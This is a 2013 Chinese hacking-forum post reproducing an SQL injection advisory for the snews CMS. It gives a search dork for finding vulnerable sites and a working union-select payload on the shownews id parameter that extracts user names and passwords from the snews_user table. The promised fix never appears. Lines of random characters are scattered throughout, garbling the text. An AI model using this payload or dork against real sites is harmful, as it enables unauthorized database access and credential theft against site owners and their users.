中国网络渗透测试联盟
标题:
CMS snews SQL注射及修复
[打印本页]
作者:
admin
时间:
2013-1-23 08:55
标题:
CMS snews SQL注射及修复
标题: CMS snews SQL Injection Vulnerability
) E. V. j4 d4 `% G
作者: By onestree
& O: V9 t7 S: |, T7 w+ _9 Q
下载地址 :
http://snewscms.com/
- M5 \$ ~8 b! B3 b# k5 R8 l
测试平台 : ubuntu 12.10 / win 7
' B* [* B" ^5 a) A. F5 h
关键词: inurl:"tanyakan pada rumput yang bergoyang"
7 V! t3 v5 _2 i( ?
$ C7 }" f8 f3 A
2 X* t! J. J; h' D* c5 k
*************************************************************
. R5 e) Q* [3 L" E9 T% l
6 c6 ~+ H @1 b; Y8 C
SQL poc:
5 `& G: R& Y* u- H G
" e: v0 k' z, H# I2 ]
http://www.2cto.com
/snews/snews.php?act=shownews&id=[SQL]
1 m/ ]% {% V) Z u$ r$ P0 j2 h8 K4 y
- @: D0 j v* X0 Q3 C# o6 ^5 K
示例
7 g% i5 s. q( Q& L1 X
0 j+ @; D/ {& O9 j( z+ u
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
+ {2 i' V% d, i" i
( m+ A. O9 t( u5 Y- o# C2 X
+ U8 U$ o {$ X4 N
致谢:
5 \. ?% t3 z8 v6 x8 x2 P4 r
# x- J: P6 n7 F7 Y
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
+ O- V9 a4 \1 J! T/ Y% t9 w
( p Q( C% U+ `. ]
indonesiancoder - moeslimh4x0r - go-coder
: C7 C, h |" P9 k) v5 I
& g+ ^5 v6 a$ x0 y- F( C" w
spesial my hunny :*
# p/ n( V. j/ g
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2